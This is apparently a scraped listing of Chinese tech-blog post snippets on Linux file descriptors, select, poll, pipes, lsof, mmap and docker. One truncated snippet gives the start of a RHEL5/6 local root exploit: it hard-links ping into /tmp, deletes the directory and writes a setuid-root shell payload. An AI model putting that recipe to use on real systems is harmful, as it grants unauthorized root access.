#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/mman.h>
#include<string.h>
intmain()
{
intfd;
char*start;
charbuf[100];
/*打开文件*/
fd=open("testfile",..
分类:
系统相关 时间:
2017-04-09 21:24:02
阅读次数:
182
#ExecStart=/usr/bin/docker -d -insecure-registry 106.75.85.214:5000 -H fd:// 下载镜像daocloud db2adm/wasver6.0 372894523@qq.com docker -d docker run -p 80 ...
分类:
其他好文 时间:
2017-04-06 17:01:40
阅读次数:
233
select函数用于在非阻塞中,当一个套接字或一组套接字有信号时通知你,系统提供select函数来实现多路复用输入/输出模型,原型:int select(int maxfd,fd_set *rdset,fd_set *wrset,fd_set *exset,struct timeval *timeo ...
分类:
其他好文 时间:
2017-04-05 21:42:53
阅读次数:
220
文件描述符(fd) 内核(kernel)利用文件描述符(file descriptor)来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。 结构体 termios 函数tcgetattr——获取终端相关参数 * Pu ...
分类:
移动开发 时间:
2017-03-30 20:40:41
阅读次数:
182
说明:RHEL5—RHEL6下都可以提权1.ls-ld/tmp/2.ls-l/bin/ping3.mkdir/tmp/exploit;ln/bin/ping/tmp/exploit/target4.exec3</tmp/exploit/target;rm-rf/tmp/exploit/;ls-l/proc/$$/fd/35.vimpayload.cvoid__attribute__((constructor))init(){setuid(0);system("/bin/bash");..
分类:
其他好文 时间:
2017-03-30 20:02:49
阅读次数:
293
Poll就是监控文件是否可读的一种机制,作用与select一样。 应用程序的调用函数如下: int poll(struct pollfd *fds,nfds_t nfds, int timeout); Poll机制会判断fds中的文件是否可读,如果可读则会立即返回,返回的值就是可读fd的数量,如果不 ...
分类:
系统相关 时间:
2017-03-27 21:38:58
阅读次数:
236
测试代码 1.server.php: <?php $serv = new swoole_server("0.0.0.0", 9502); $serv->on('connect', function ($serv, $fd){ echo "Client:Connect.\n"; }); $serv-> ...
分类:
其他好文 时间:
2017-03-24 19:11:36
阅读次数:
289
lsof命令可以列出当前系统打开的文件描述符,由哪个进程打开了哪个文件等信息。因为Linux系统上一切皆文件,所以无论是普通的文件访问还是网络通信都会用到文件描述符或者说都是一个文件。列名说明COMMAND进程的名称PID进程PID号USER进程的所有者FD文件描述符,应用程序通过文..
分类:
其他好文 时间:
2017-03-22 23:47:47
阅读次数:
471
管道(pipe)是进程间通信的一种方式,DEMO如下: 管道的特点: 1. 管道是半双工的(数据只能在一个方向上流动) 2. 管道只能在具有公共祖先的两个进程之间使用 对于从父进程到子进程的管道,父进程关闭管道的读端fd[0],子进程关闭写端fd[1]。 对于从子进程到父进程的管道,父进程关闭fd[ ...
分类:
系统相关 时间:
2017-03-14 10:34:36
阅读次数:
162
poll提供的功能与select类似,不过在处理流设备时,它能够提供额外的信息。 #include <poll.h> int poll(struct pollfd fd[], nfds_t nfds, int timeout); 参数: 1)第一个参数:一个结构数组,struct pollfd结构如 ...
分类:
其他好文 时间:
2017-03-11 01:04:08
阅读次数:
182